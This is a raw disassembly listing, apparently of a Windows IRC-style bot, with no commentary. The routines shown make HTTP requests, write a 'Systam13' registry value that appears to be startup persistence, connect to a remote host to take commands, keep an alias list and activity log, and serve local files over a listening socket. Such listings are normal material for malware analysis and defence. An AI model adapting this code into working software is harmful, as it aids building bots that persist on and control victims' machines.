		movzx	esi, [ebp+var_30]
		jbe	short loc_40BB5C
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_418910
		add	esp, 0Ch

loc_40BB5C:				; CODE XREF: sub_40BA67+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40BB76
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_418910
		add	esp, 0Ch

loc_40BB76:				; CODE XREF: sub_40BA67+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40BB90
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_418910
		add	esp, 0Ch

loc_40BB90:				; CODE XREF: sub_40BA67+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_43EAD4
		call	dword_43EAF8	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40BC1D
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_43EAEC	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40BC24
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_43EAA0	; HttpSendRequestA
		test	eax, eax
		lea	eax, [ebp+var_55C]
		jz	short loc_40BC00
		push	offset unk_42D174
		jmp	short loc_40BC2F
; ---------------------------------------------------------------------------

loc_40BC00:				; CODE XREF: sub_40BA67+190j
		push	offset unk_42D120
		jmp	short loc_40BC2F
; ---------------------------------------------------------------------------

loc_40BC07:				; CODE XREF: sub_40BA67+B7j
		lea	eax, [ebp+var_55C]
		push	offset unk_42D0EC
		push	eax
		call	sub_416FB6
		mov	esi, [ebp+var_C]
		jmp	short loc_40BC35
; ---------------------------------------------------------------------------

loc_40BC1D:				; CODE XREF: sub_40BA67+153j
		push	offset unk_42D0A8
		jmp	short loc_40BC29
; ---------------------------------------------------------------------------

loc_40BC24:				; CODE XREF: sub_40BA67+17Bj
		push	offset unk_42D060

loc_40BC29:				; CODE XREF: sub_40BA67+1BBj
		lea	eax, [ebp+var_55C]

loc_40BC2F:				; CODE XREF: sub_40BA67+197j
					; sub_40BA67+19Ej
		push	eax
		call	sub_416FB6

loc_40BC35:				; CODE XREF: sub_40BA67+1B4j
		cmp	[ebp+var_1D4], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_40BC62
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_40D476
		add	esp, 14h

loc_40BC62:				; CODE XREF: sub_40BA67+1D6j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40BD8D
		pop	ecx
		push	esi
		call	dword_43EB58	; InternetCloseHandle
		push	[ebp+var_4]
		call	dword_43EB58	; InternetCloseHandle
		push	[ebp+var_1D8]
		call	sub_416D90
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40BA67	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC95	proc near		; CODE XREF: sub_40EC43+4447p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_4437E8
		mov	edi, 0B8h

loc_40BCA9:				; CODE XREF: sub_40BC95+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40BCCC
		push	[ebp+arg_0]
		push	esi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BCCC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_444368
		jl	short loc_40BCA9
		jmp	short loc_40BD0E
; ---------------------------------------------------------------------------

loc_40BCCC:				; CODE XREF: sub_40BC95+17j
					; sub_40BC95+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_4437E8[esi]
		push	ebx
		call	sub_417030
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_418910
		push	9Fh
		lea	eax, dword_443800[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_418910
		add	esp, 24h
		inc	dword_4306F8
		pop	ebx

loc_40BD0E:				; CODE XREF: sub_40BC95+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40BC95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD15	proc near		; CODE XREF: sub_40EC43+5B0Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aAliasList ; "-[Alias List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_4437E8

loc_40BD3F:				; CODE XREF: sub_40BD15+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40BD7A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset aD_SS	; "%d. %s = %s"
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41752A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 2Ch

loc_40BD7A:				; CODE XREF: sub_40BD15+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_444368
		jl	short loc_40BD3F
		pop	edi
		pop	esi
		leave
		retn
sub_40BD15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD8D	proc near		; CODE XREF: sub_401000+97p
					; sub_4010B2+32Cp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_42306C	; GetLocalTime
		mov	ebx, offset dword_442EE0
		mov	edi, 80h
		mov	esi, offset dword_43EEE0

loc_40BDAF:				; CODE XREF: sub_40BD8D+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40BDC6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_418910
		add	esp, 0Ch

loc_40BDC6:				; CODE XREF: sub_40BD8D+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40BDAF
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41752A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BD8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE01	proc near		; CODE XREF: sub_407A23+148p
					; sub_407BAA+15Cp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_4190FF
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40BD8D
		add	esp, 14h
		leave
		retn
sub_40BE01	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BE2D	proc near		; CODE XREF: sub_40EC43+5A06p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43EEE0
		xor	ecx, ecx

loc_40BE34:				; CODE XREF: sub_40BE2D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_442EE0
		jl	short loc_40BE34
		cmp	[esp+arg_C], ecx
		jnz	short loc_40BE62
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_42D21C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_40D476
		add	esp, 14h

loc_40BE62:				; CODE XREF: sub_40BE2D+19j
		push	offset dword_42D1EC
		call	sub_40BD8D
		pop	ecx
		retn
sub_40BE2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BE6E	proc near		; CODE XREF: sub_402DB1+2AEp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_43EEE0

loc_40BE74:				; CODE XREF: sub_40BE6E+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40BE89
		push	[esp+4+arg_0]
		push	esi
		call	sub_40A79F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BE9B

loc_40BE89:				; CODE XREF: sub_40BE6E+9j
		add	esi, 80h
		cmp	esi, offset dword_442EE0
		jl	short loc_40BE74
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40BE9B:				; CODE XREF: sub_40BE6E+19j
		xor	eax, eax
		pop	esi
		inc	eax
		retn
sub_40BE6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEA0	proc near		; DATA XREF: sub_40EC43+5AB9o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		xor	edx, edx
		rep movsd
		xor	edi, edi
		mov	[ebp+var_8], 80h
		inc	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40BEF3
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42D280
		push	eax
		push	[ebp+var_11C]
		call	sub_40D476
		add	esp, 14h

loc_40BEF3:				; CODE XREF: sub_40BEA0+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40BF13
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41751F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40BF13
		mov	[ebp+var_8], eax

loc_40BF13:				; CODE XREF: sub_40BEA0+5Aj
					; sub_40BEA0+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43EEE0

loc_40BF1C:				; CODE XREF: sub_40BEA0+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40BF76
		cmp	byte ptr [esi],	0
		jz	short loc_40BF65
		cmp	[ebp+var_98], 0
		jz	short loc_40BF4B
		cmp	[ebp+var_4], 0
		jnz	short loc_40BF4B
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_40A79F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BF65

loc_40BF4B:				; CODE XREF: sub_40BEA0+90j
					; sub_40BEA0+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40D476
		add	esp, 14h

loc_40BF65:				; CODE XREF: sub_40BEA0+87j
					; sub_40BEA0+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_442EE0
		jl	short loc_40BF1C

loc_40BF76:				; CODE XREF: sub_40BEA0+82j
		lea	eax, [ebp+var_31C]
		push	offset unk_42D24C
		push	eax
		call	sub_416FB6
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40BFB0
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40D476
		add	esp, 14h

loc_40BFB0:				; CODE XREF: sub_40BEA0+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_18]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	esi
		call	dword_423054	; ExitThread
		pop	edi
		pop	esi
sub_40BEA0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFCF	proc near		; CODE XREF: sub_40AA70+1Ep
					; sub_40E48A+334p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		mov	ebx, offset aSystam13 ;	"Systam13"

loc_40BFDF:				; CODE XREF: sub_40BFCF+6Aj
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		push	edi
		push	0F003Fh
		push	edi
		push	edi
		push	edi
		push	off_42D2B0[esi]
		push	dword_42D2AC[esi]
		call	dword_43EAD8	; RegCreateKeyExA
		cmp	[ebp+arg_0], edi
		jz	short loc_40C020
		push	[ebp+arg_0]
		call	sub_4177B0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	edi
		push	ebx
		push	[ebp+var_4]
		call	dword_43EB48	; RegSetValueExA
		jmp	short loc_40C02A
; ---------------------------------------------------------------------------

loc_40C020:				; CODE XREF: sub_40BFCF+33j
		push	ebx
		push	[ebp+var_4]
		call	dword_43EA90	; RegDeleteValueA

loc_40C02A:				; CODE XREF: sub_40BFCF+4Fj
		push	[ebp+var_4]
		call	dword_43EB00	; RegCloseKey
		add	esi, 8
		cmp	esi, 18h
		jb	short loc_40BFDF
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BFCF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C040	proc near		; CODE XREF: sub_40C079+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		or	esi, 0FFFFFFFFh
		test	edi, edi
		jz	short loc_40C072
		mov	ecx, 0FFh
		push	ebx

loc_40C057:				; CODE XREF: sub_40C040+2Fj
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_423290[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40C057
		pop	ebx

loc_40C072:				; CODE XREF: sub_40C040+Fj
		mov	eax, esi
		pop	edi
		not	eax
		pop	esi
		retn
sub_40C040	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C079	proc near		; CODE XREF: sub_40C90D+23Fp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_417889
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_4176A8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jnz	short loc_40C0C4

loc_40C09E:				; CODE XREF: sub_40C079+37j
		xor	eax, eax
		jmp	short loc_40C0E5
; ---------------------------------------------------------------------------

loc_40C0A2:				; CODE XREF: sub_40C079+4Fj
		inc	ebx
		push	ebx
		push	esi
		call	sub_41914F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40C09E
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_418786
		add	esp, 10h

loc_40C0C4:				; CODE XREF: sub_40C079+23j
		test	byte ptr [edi+0Ch], 10h
		jz	short loc_40C0A2
		dec	ebx
		push	ebx
		push	esi
		call	sub_40C040
		push	esi
		mov	ebx, eax
		call	sub_41793B
		push	edi
		call	sub_417600
		add	esp, 10h
		mov	eax, ebx

loc_40C0E5:				; CODE XREF: sub_40C079+27j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C079	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C0E9	proc near		; CODE XREF: sub_40C16F+33p
					; sub_40C6D2+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_43EBA4	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40C165
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417030
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_43EB24	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_43EB64	; inet_addr
		cmp	eax, esi
		jnz	short loc_40C14A
		push	[ebp+arg_0]
		call	dword_43EBA8	; gethostbyname
		test	eax, eax
		jz	short loc_40C165
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_40C14A:				; CODE XREF: sub_40C0E9+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_43EACC	; connect
		cmp	eax, esi
		jnz	short loc_40C169
		push	edi
		call	dword_43EBBC	; closesocket

loc_40C165:				; CODE XREF: sub_40C0E9+1Bj
					; sub_40C0E9+58j
		mov	eax, esi
		jmp	short loc_40C16B
; ---------------------------------------------------------------------------

loc_40C169:				; CODE XREF: sub_40C0E9+73j
		mov	eax, edi

loc_40C16B:				; CODE XREF: sub_40C0E9+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40C0E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C16F	proc near		; DATA XREF: sub_40EC43+A26o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_417830
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	[ebp+var_14]
		xor	esi, esi
		inc	esi
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40C0E9
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C202
		lea	eax, [ebp+var_11B4]
		push	offset dword_42D34C
		push	eax
		call	sub_416FB6
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C1E5
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D476
		add	esp, 14h

loc_40C1E5:				; CODE XREF: sub_40C16F+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_10]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	esi
		call	dword_423054	; ExitThread

loc_40C202:				; CODE XREF: sub_40C16F+3Fj
		push	offset byte_43BCE8
		push	ebx
		call	sub_40B398
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C26D
		lea	eax, [ebp+var_11B4]
		push	offset dword_42D30C
		push	eax
		call	sub_416FB6
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C249
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D476
		add	esp, 14h

loc_40C249:				; CODE XREF: sub_40C16F+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BD8D
		pop	ecx
		push	ebx
		call	dword_43EBBC	; closesocket
		push	[ebp+var_10]
		call	sub_416D90
		pop	ecx
		push	esi
		call	dword_423054	; ExitThread

loc_40C26D:				; CODE XREF: sub_40C16F+A3j
		push	64h
		call	dword_423064	; Sleep
		xor	edi, edi
		mov	esi, 1000h

loc_40C27C:				; CODE XREF: sub_40C16F+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43EB3C	; recv
		test	eax, eax
		jle	short loc_40C2D9
		lea	eax, [ebp+var_11B4]
		push	offset asc_4296D4 ; "\n"
		push	eax
		call	sub_4176D0
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B184
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40C2D9
		push	64h
		call	dword_423064	; Sleep
		push	7
		call	sub_416CBC
		test	eax, eax
		pop	ecx
		jnz	short loc_40C27C

loc_40C2D9:				; CODE XREF: sub_40C16F+130j
					; sub_40C16F+154j
		lea	eax, [ebp+var_11B4]
		push	offset dword_42D2C8
		push	eax
		call	sub_416FB6
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40C30C
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D476
		add	esp, 14h

loc_40C30C:				; CODE XREF: sub_40C16F+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BD8D
		pop	ecx
		push	ebx
		call	dword_43EBBC	; closesocket
		push	[ebp+var_10]
		call	sub_416D90
		pop	ecx
		push	edi
		call	dword_423054	; ExitThread
sub_40C16F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C330	proc near		; DATA XREF: sub_40EC43+4A8Bo

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		xor	ebx, ebx
		xor	esi, esi
		inc	ebx
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_10], esi
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_43EBA4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_40C37E
		push	offset dword_42D4D0
		jmp	loc_40C537
; ---------------------------------------------------------------------------

loc_40C37E:				; CODE XREF: sub_40C330+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_43EB24	; htons
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_43EB50	; bind
		test	eax, eax
		jz	short loc_40C3BC
		push	offset dword_42D49C
		jmp	loc_40C537
; ---------------------------------------------------------------------------

loc_40C3BC:				; CODE XREF: sub_40C330+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_43EAC8	; getsockname
		push	[ebp+var_2E]
		call	dword_43EA60	; htons
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_4177B0
		pop	ecx

loc_40C3EE:				; CODE XREF: sub_40C330+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_40C401
		push	5Fh
		pop	eax
		jmp	short loc_40C404
; ---------------------------------------------------------------------------

loc_40C401:				; CODE XREF: sub_40C330+CAj
		movsx	eax, al

loc_40C404:				; CODE XREF: sub_40C330+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_4177B0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_40C3EE
		push	ebx
		push	edi
		call	dword_43EB4C	; listen
		test	eax, eax
		jz	short loc_40C437
		push	offset dword_42D34C
		jmp	loc_40C537
; ---------------------------------------------------------------------------

loc_40C437:				; CODE XREF: sub_40C330+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	dword_423084	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40C461
		push	offset dword_42D46C
		jmp	loc_40C537
; ---------------------------------------------------------------------------

loc_40C461:				; CODE XREF: sub_40C330+125j
		push	esi
		push	eax
		call	dword_4230A4	; GetFileSize
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AD08
		pop	ecx
		push	eax
		call	dword_43EB64	; inet_addr
		push	eax
		call	dword_43EB20	; htonl
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42D454
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D476
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_43EB0C	; select
		test	eax, eax
		jg	short loc_40C511
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_42D42C
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D476
		jmp	loc_40C635
; ---------------------------------------------------------------------------

loc_40C511:				; CODE XREF: sub_40C330+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_43EBB8	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_40C54A
		push	offset dword_42D3F8

loc_40C537:				; CODE XREF: sub_40C330+49j
					; sub_40C330+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx
		jmp	loc_40C638
; ---------------------------------------------------------------------------

loc_40C54A:				; CODE XREF: sub_40C330+200j
		push	edi
		call	dword_43EBBC	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_40C5FC
		mov	edi, 400h

loc_40C55F:				; CODE XREF: sub_40C330+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_40C56C
		mov	[ebp+var_4], eax

loc_40C56C:				; CODE XREF: sub_40C330+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_417030
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_4230C0	; SetFilePointer
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	dword_423074	; ReadFile
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_43EB74	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
